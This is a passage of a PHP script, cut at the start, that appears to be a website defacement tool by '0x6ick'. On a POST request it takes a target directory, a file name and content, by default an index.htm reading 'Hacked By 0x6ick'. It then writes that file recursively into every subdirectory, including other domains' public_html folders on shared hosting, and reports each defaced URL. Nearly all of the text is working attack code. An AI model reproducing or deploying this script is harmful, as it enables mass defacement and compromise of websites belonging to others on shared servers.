";
return;
}
$targetFile = rtrim($base, '/') . '/' . $filename;
if (@file_put_contents($targetFile, $payload)) {
$fullRealPath = realpath($targetFile);
// Coba extract domain dari path
if (preg_match('#/domains/([^/]+)/public_html/(.*)$#', $fullRealPath, $matches)) {
$domain = $matches[1]; // ex: site2.com
$relativePath = '/' . $matches[2];
} else {
// fallback ke document root biasa
$docRootPath = realpath($_SERVER['DOCUMENT_ROOT']);
$relativePath = str_replace($docRootPath, '', $fullRealPath);
$relativePath = '/' . ltrim($relativePath, '/');
$domain = $_SERVER['HTTP_HOST'];
}
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$fullURL = $protocol . '://' . $domain . $relativePath;
$logOutput .= '[+] Written to: ' . htmlspecialchars($fullURL) . '
';
$totalSuccess++;
} else {
$logOutput .= "[-] Failed write: $targetFile
";
$totalFail++;
}
$dirs = scandir($base);
if ($dirs === false) return;
foreach ($dirs as $d) {
if ($d === '.' || $d === '..') continue;
$subPath = $base . '/' . $d;
if (is_dir($subPath)) {
writeToAllDirs($subPath, $filename, $payload);
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$targetDir = $_POST['d'] ?? getcwd();
$filename = $_POST['f'] ?? 'index.htm';
$payload = $_POST['c'] ?? 'Hacked By 0x6ick';
writeToAllDirs($targetDir, $filename, $payload);
}
?>